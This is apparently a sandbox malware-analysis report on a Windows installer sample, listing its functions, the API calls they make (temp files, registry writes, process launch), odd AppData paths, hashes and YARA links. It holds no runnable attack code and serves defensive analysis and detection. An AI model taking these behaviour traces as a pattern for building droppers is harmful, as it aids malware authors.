Instruction ID: 979e31ef7f6a653eb027d6e7281dab5f214eebcb072a06bc6d9d9cfc9f176359
Opcode Fuzzy Hash: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction Fuzzy Hash: BDF02B71501219A7CB14BB68DD0DF9B376CEB00304F10447EA646F10D0EB7CDA68CB98

Function 00406061 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040607F
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\24100311.EXE.exe",004035D6,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822), ref: 0040609A

Strings

nsa, xrefs: 0040606E
C:\Users\user\AppData\Local\Temp\, xrefs: 00406066
"C:\Users\user\Desktop\24100311.EXE.exe", xrefs: 00406061

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\24100311.EXE.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-3208526724
Opcode ID: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction ID: f50322da3c8d1fbf3185d5aa4cbdefdd087cb84507cf15d2c2e6a21a41158221
Opcode Fuzzy Hash: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction Fuzzy Hash: BBF09076741204BFEB00CF59DD05E9EB7BCEBA1710F11803AFA05F7240E6B499648768

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: faab02cff34b921551a1342022214cf29e3e194daab0830cb346dd63cd78f0b5
Instruction ID: 504b766b7349ebce22e5cc184c1b69e4e3709f4fc648736089561923f5a7a9d8
Opcode Fuzzy Hash: faab02cff34b921551a1342022214cf29e3e194daab0830cb346dd63cd78f0b5
Instruction Fuzzy Hash: C221AD7195420AAEEF05AFB4D94AAAE7BB0EF44304F10453EF601B61D1D7B84941CB98

Function 00402482 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Forkynders\baskets\acylate,00000023,00000011,00000002), ref: 004024CD
RegSetValueExW.KERNELBASE(?,?,?,?,Forkynders\baskets\acylate,00000000,00000011,00000002), ref: 0040250D
RegCloseKey.KERNELBASE(?,?,?,Forkynders\baskets\acylate,00000000,00000011,00000002), ref: 004025F5

Strings

Forkynders\baskets\acylate, xrefs: 004024BE, 004024CC, 004024E3, 004024F7, 00402502

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: Forkynders\baskets\acylate
API String ID: 2655323295-1311505000
Opcode ID: b5d3adf7c291cd3c91136d371b2403c06450f2b6f45f2839c0b813c2869dcc41
Instruction ID: c269879d92cf6aad1d98ff003e7813fc443ead00aa0a9254d290d0c4c068a2a6
Opcode Fuzzy Hash: b5d3adf7c291cd3c91136d371b2403c06450f2b6f45f2839c0b813c2869dcc41
Instruction Fuzzy Hash: 0311AF71E00108BEDB10AFA5DE49AAEBBB8EF44314F21443AF514F71D1D7B84D419628

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405EBC: CharNextW.USER32(?,?,00425F50,?,00405F30,00425F50,00425F50,74DF3420,?,74DF2EE0,00405C6E,?,74DF3420,74DF2EE0,00000000), ref: 00405ECA
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405ECF
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405EE7

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405A73: CreateDirectoryW.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB6

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing
API String ID: 1892508949-208476317
Opcode ID: 1dbc07150a7b0890d6f2f0031742d4357183754cf59f93a338fe5439ed721fd4
Instruction ID: 804c449170a8270e91f9515fbcc2e09aef6974e60d9951be020b7c668b26977e
Opcode Fuzzy Hash: 1dbc07150a7b0890d6f2f0031742d4357183754cf59f93a338fe5439ed721fd4
Instruction Fuzzy Hash: 1511E231504115ABCF30AFA5CD4199F36B0EF24329B28493BE956B12F1D63E4E829F5E

Function 0040640A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,?,00000800,00000002,?,00000000,?,?,: Completed,?,?,00406699,80000002), ref: 00406450
RegCloseKey.KERNELBASE(?,?,00406699,80000002,Software\Microsoft\Windows\CurrentVersion,: Completed,: Completed,: Completed,00000000,Crenature), ref: 0040645B

Strings

: Completed, xrefs: 00406411

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CloseQueryValue
String ID: : Completed
API String ID: 3356406503-2954849223
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: f0f89c662eeec8a22638327002db2d2d8046b3273e4fa87c0bc9f0af31e9764c
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: E1017172510209EBDF218F51CC05FDB3BB8EB54354F01403AFD55A2190D738D964DB94

Function 00405B25 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426750,Error launching installer), ref: 00405B4E
CloseHandle.KERNEL32(?), ref: 00405B5B

Strings

Error launching installer, xrefs: 00405B38

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
Instruction ID: 4727b597e06a80ccf73fde1317b74bfd1e446cf8a7cb79422ce9438d985acd26
Opcode Fuzzy Hash: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
Instruction Fuzzy Hash: 2FE0B6B4A00209BFEB109B64ED49F7B7BBDEB04648F414465BD50F6190D778A8158A7C

Function 00407090 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b4e55e20c06e4ab42ecec14c412173dc536429d2dc8db053d5bec18c4e9e97
Instruction ID: a7b8be33b9a7519416cae36d16977938a601532f9034d24a777c3823dc36e66c
Opcode Fuzzy Hash: 32b4e55e20c06e4ab42ecec14c412173dc536429d2dc8db053d5bec18c4e9e97
Instruction Fuzzy Hash: F7A14571D04229CBDB28CFA8C854BADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407291 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f17471a99a701cf31c58911c016ae07bdee3b17eca89a89cbbe770d5c4f1181
Instruction ID: 5a24a20e97f266d7e3441ea32a969c72ce760fd7697c8a443cfa4f07d4855531
Opcode Fuzzy Hash: 5f17471a99a701cf31c58911c016ae07bdee3b17eca89a89cbbe770d5c4f1181
Instruction Fuzzy Hash: 6F911170D04229CBEF28CF98C854BADBBB1FB44305F14816ED856BB291C7786A86DF45

Function 00406FA7 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e62c1466b9137082a982da4164a06349666531f21fbb12f17c8ad7a1ced7a97
Instruction ID: f684c89e7032feabc3e3bde7c6855c560f6d73b68505d9943badace2bdbe07f8
Opcode Fuzzy Hash: 1e62c1466b9137082a982da4164a06349666531f21fbb12f17c8ad7a1ced7a97
Instruction Fuzzy Hash: CD814771D04228CFDF24CFA8C944BADBBB1FB44305F25816AD856BB281C7786986DF05

Function 00406AAC Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d02973cee569c5a87d0209c7eb585da92a748f7851f7d1800b7639c908389217
Instruction ID: 835433ef786a7bbaa66b5d31b28c9fa354c7a4a33243279710ed11147b04f42a
Opcode Fuzzy Hash: d02973cee569c5a87d0209c7eb585da92a748f7851f7d1800b7639c908389217
Instruction Fuzzy Hash: F1816871D04228CBDF24CFA8C844BAEBBB0FF44305F11816AD856BB281D7786986DF45

Function 00406EFA Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db5198ca4190c6b334929519d9078d0b7c25f309867be5a342d9eedfd0dff6d3
Instruction ID: b4a429368d408adc735ccef7c69d02ca95e21b2dffe456e9be617d596e32585a
Opcode Fuzzy Hash: db5198ca4190c6b334929519d9078d0b7c25f309867be5a342d9eedfd0dff6d3
Instruction Fuzzy Hash: 44711371D04228CFDF28CFA8C954BADBBB1FB44305F15806AD856BB281D7386986DF45

Function 00407018 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afcc572d84cf9765722162092f48605f1f6e2a9c19f2086930970e637c6b8744
